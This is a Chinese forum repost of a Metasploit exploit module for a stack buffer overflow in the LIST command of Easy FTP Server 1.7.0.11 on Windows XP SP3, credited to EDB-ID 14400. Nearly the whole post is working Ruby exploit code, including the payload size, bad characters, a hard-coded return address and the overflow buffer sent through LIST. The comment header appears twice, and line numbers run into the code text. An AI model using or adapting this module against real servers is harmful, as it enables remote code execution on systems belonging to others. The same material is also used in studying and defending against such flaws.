-
-
[转帖]Easy FTP Server v1.7.0.11 LIST远程执行漏洞
-
发表于: 2010-7-24 05:56 3943
-
##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR & VAS TEAM : just testing howto convert exploits to metasploit modules.
##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR & VAS TEAM : just testing howto convert exploits to metasploit modules.
##
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow' , 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11. credit goes to Karn Ganeshan. }, 'Author' => [ 'Karn Ganeshan <karnganeshan [at] gmail.com>' , # original version 'MFR' # convert to metasploit format. ], 'License' => MSF_LICENSE, 'Version' => 'Version: 1' , 'References' => [ [ 'EDB' , '14400' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Privileged' => false , 'Payload' => { 'Space' => 268, 'BadChars' => "\x00\x0a\x0d\x2f\x5c" , 'DisableNops' => false }, 'Platform' => 'win' , 'Targets' => [ [ 'Windows XP SP3 - Version 2002' , { 'Ret' => 0x7e49732b } ], ], 'DisclosureDate' => 'July 5 2010' , 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /BigFoolCat/ ) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login buf = '' buf << make_nops(268 - payload.encoded.length - 4) print_status( "Adding the payload..." ) buf << payload.encoded buf << [target.ret].pack( 'V' ) print_status( "Sending exploit buffer..." ) send_cmd( [ 'LIST' , buf] , false ) handler disconnect end end |
赞赏
他的文章
赞赏
雪币:
留言: